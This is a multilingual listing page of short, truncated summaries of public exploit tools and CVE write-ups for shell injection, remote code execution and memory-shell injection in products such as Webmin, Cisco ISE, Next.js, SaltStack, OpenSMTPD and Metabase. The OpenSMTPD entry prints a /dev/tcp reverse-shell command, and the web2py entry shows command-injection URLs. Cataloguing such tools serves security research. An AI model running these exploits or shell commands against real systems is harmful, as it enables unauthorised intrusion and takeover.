spring_cloud_gateway_memshell

CVE-2022-22947 memshell このスクリプトは不完全で、学習用途のみです。不正に使用しないでください。 c0ny1 氏のブログを基に作成した学習用スクリプトで、netty と spring のメモリシェルを書き込むことができます。 テスト環境は vulhub です。 root@kitploit: eg:xx.py http://127.0.0.1:8080 netty whoami...

CVE-2019-15107

サーバ管理ツール Webmin RCE脆弱性CVE-2019-15107 概要 CVE-2019-15107は、Unixシステムで使用されるWebベースのシステム管理ツールWebminに発生した脆弱性です。この管理ツールの機能のうち、パスワードを変更するコードにおいて、特定のパラメータをフィルターをかけずにそのままシェルコマンドに渡して実行させることで、任意のコードを実行Remote Code Execution, RCEできるようにします。 環境構成と脆弱条件 Webmin 1.920バージョンまたは1.920以前のバージョンを使用する際、パスワードを変更する...

CVE-2022-22947

CVE-2022-22947 内存马注入 支持注入三类内存马 root@kitploit: Usage: usage -t -u Options: -h, --help show this help message and exit -t TYPE switch one : spring, netty, godzilla -u URL url 以哥斯拉马注入为例 root@kitploit: python3 -t godzilla -u http://127.0.0.1 参考文章...

CVE-2025-20281-2-Cisco-ISE-RCE

CVE-2025-20281-2-Cisco-ISE-RCE Cisco ISE API に対する CVE-2025-20281 RCE の未認証 Python PoC CVE-2025-20281 未認証 PoC Cisco ISE の ERS API CVE-2025-20281 における未認証 RCE を悪用し、InternalUser リソースに任意のシェルコマンドを注入する、最小限の Python プルーフオブコンセプトです。 警告: 自分が所有するシステム、または明示的なテスト許可があるシステムに対してのみ実行してください。このツールの不正使用は違法です。 機能 認証不要...

CVE-2026-79992

CVE-2026-79992 affects Emacs TRAMP , where a local attacker can achieve arbitrary code execution by processing maliciously crafted filenames. The root cause is that TRAMP concatenates login arguments (derived from the user field) without proper sanitization before passing them to a local shell . ...

vulnx

VulnX Vulnx 🕷️ は、複数種類のCMSの脆弱性を検出するインテリジェントボット自動シェルインジェクターです。...

CVE-2025-10230

CVE-2025-10230: Samba RCE Crítico CVSS 10.0 Resumen de la Vulnerabilidad La CVE-2025-10230 es una vulnerabilidad crítica de ejecución remota de código RCE que permaneció oculta en el código base de Samba durante 13 años. La falla reside en el manejo de paquetes de registro WINS Windows Internet...

CVE-2026-63586 Unauthenticated Remote Code Execution via Shell Injection in Web Management Interface

The web-based management interface uses a modified uhttpd server with CGI shell scripts. The HTTP Basic Authentication username, taken directly from the Authorization header without sanitization, is inserted into a shell command string executed via the system function. By submitting a specially...

CVE-2026-63586

CVE-2026-63586 is a critical (CVSS 3.1: 9.8) unauthenticated remote code execution vulnerability in a web-based management interface that uses a modified uhttpd server with CGI shell scripts. The root cause is a shell injection flaw: the HTTP Basic Authentication username is taken directly from t...

CVE-2024-36401-WoodpeckerPlugin

CVE-2024-36401-WoodpeckerPlugin はじめに CVE-2024-36401 のバッチ検出と利用、カスタムメモリーシェル注入をサポート 1. バッチ検出可能 2. URLアドレスのバックエンドは既にフィルタリング済み（URLをそのまま送るだけで良い） 3. カスタム生成したメモリーシェルを注入可能（デフォルトのメモリーシェル注入にはインジェクタークラス名が追加されています: java.lang.test 「目的はJDK11でのdefineAnonymousClassバイパス」） インストール ソースコードをダウンロードして実行 root@kitploit: mv...

CVE-2025-55182

CVE-2025-55182 漏洞利用 一个简单的 Python 脚本，通过向应用程序注入 shell 来利用 CVE-2025-55182 中 React Server Components 的漏洞。该脚本已在 Next.js 16.0.6 版本上测试通过。 使用方法 克隆仓库 root@kitploit: git clone https://github.com/ahmedshamsddin/CVE-2025-55182 运行存在漏洞的应用程序 root@kitploit: cd CVE-2025-55182/vulnerable-app npm install npm run de...

SaltStack <=3002 - Shell Injection

SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client. id: CVE-2020-16846 info: name: SaltStack =3003 to mitigate this vulnerability. reference: -...

GL.iNet-Multiple-Vulnerabilities

GL.iNet 多个漏洞 本仓库包含以下漏洞的利用程序： CVE-2023-46454: 在固件版本为 v4.3.7 的 GL.iNET GL-AR300M 路由器中，可以通过在包信息功能中构造特制的包名来注入任意 shell 命令。 CVE-2023-46455: 在固件版本为 v4.3.7 的 GL.iNET GL-AR300M 路由器中，可以通过 OpenVPN 客户端文件上传功能中的路径遍历攻击写入任意文件。 CVE-2023-46456: 在固件版本为 v3.216 的 GL.iNET GL-AR300M 路由器中，可以通过 OpenVPN 客户端文件上传功能注入任意 shel...

CVE-2020-7247

CVE-2020-7247 该漏洞存在于OpenBSD的邮件服务器OpenSMTPD的“smtpmailaddr”函数中，影响OpenBSD 6.6版本。攻击者可利用该漏洞以root用户身份执行任意shell命令，例如“sleep 66”。 如何使用？ python3 getShell.py 如果需要反弹shell，可以这样运行： python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要提示 根据实际情况修改此利用脚本中的某些内容，如RCPT to等（如有需要）。 更多详细解释请参阅这篇文章：...

CVE-2020-16846-Saltstack-Salt-API

CVE-2020-16846-Saltstack-Salt-API 漏洞说明：在 SaltStack Salt 至 3002 版本中发现了一个问题。当 SSH 客户端启用时，向 Salt API 发送特制的 Web 请求可能导致 shell 注入。关于此漏洞的详细信息可在此处找到： https://www.zerodayinitiative.com/blog/2020/11/24/detailing-saltstack-salt-command-injection-vulnerabilities 为了练习和学习目的，我决定创建一个存在漏洞的实例并利用它。...

CVE-2023-45158

CVE-2023-45158 Pasos 1. Ejecuta el servidor web root@kitploit: cd web2py python3 web2py.py 2. Inyecta tu comando usando la URL http://:8000/hack?msg=%27%3B%3B%27. Reemplaza y con tus valores. Ejemplos 1. Crea un archivo en el servidor http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. Shell invers...

CVE-2025-47227_CVE-2025-47228

ScriptCase - Ejecución Remota de Comandos Pre-Autenticada Encadenamiento del restablecimiento de contraseña del administrador bypass de autenticación, CVE-2025-47227 e inyección de shell ejecución remota de comandos autenticada, CVE-2025-47228 La ejecución remota de comandos pre-autenticada se...

CVE-2026-34234-Lab

CVE-2026-34234 - CtrlPanel 安装程序 RCE 实验环境 用于演示 CtrlPanel 中 CVE-2026-34234 的本地 Docker 实验环境。 本仓库对比： vuln：按摘要固定的 CtrlPanel 1.1.1 patched：按摘要固定的 CtrlPanel 1.2.0 该实验环境仅限本地使用，服务绑定到 127.0.0.1。 概述 CVE-2026-34234 是 CtrlPanel Web 安装程序中的一个未认证 RCE 漏洞。 该问题由两个串联利用的缺陷引起： 1. 安装程序表单处理器在 install.lock 检查之前即可访问。 2...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 漏洞扫描与利用工具，针对 Next.js 应用程序的远程代码执行漏洞。支持批量检测、命令执行、哥斯拉内存马注入以及反弹 Shell 功能。 ⚠️ 本工具仅供安全研究和授权测试使用，请勿用于非法用途。 特性 多目标扫描 ：支持单个 URL、文件列表（每行一个 URL）以及包含多个 .txt 文件的文件夹。 多线程并发 ：可自定义线程数，提升扫描效率。 漏洞验证 ：通过计算随机数乘积的方式验证漏洞是否存在。 命令执行 ：在漏洞目标上执行任意系统命令（支持 Linux 和 Windows）。...

MetabaseRceTools

MetabaseRceTools CVE-2023-38646 Metabase RCE ツール CVE-2023-38646 RCE グラフィカル利用ツール 検証モジュール 指定されたURLを入力すると、未認証Tokenを検出できます コマンド実行 このモジュールを使用するには、まず検証モジュールを実行してtokenを取得する必要があります JarLocation：metabase.jarの場所、デフォルトはカレントディレクトリ メモリシェル注入 現時点ではcmdとgodzillaモードのみ実装されており、x-client-dataで制御します x-client-data:cmd...